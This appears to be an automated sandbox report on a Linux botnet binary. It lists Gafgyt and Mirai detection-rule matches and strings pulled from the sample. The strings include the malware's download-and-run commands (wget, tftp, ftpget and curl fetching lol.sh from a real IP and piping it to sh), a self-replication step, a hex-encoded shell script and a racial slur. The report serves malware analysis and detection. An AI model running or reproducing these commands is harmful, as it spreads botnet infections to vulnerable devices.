Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: getinfo xxxNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe..%s/%s/proc//data/local/tmp//var/run/home/usr/bin/dev/dev/mnt/var/tmpsize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh487154914<146<2surf2/proc/%d/exe/ /.socket/proc/%d/mountinfo/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpyth
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- \| sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- \| sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://94.156.227.233/lol.sh -O- \| sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- \| sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/x86_64.nn.elf (PID: 6326)	SIGKILL sent: pid: 6316, result: successful			Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6327)	SIGKILL sent: pid: 788, result: successful			Jump to behavior

Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
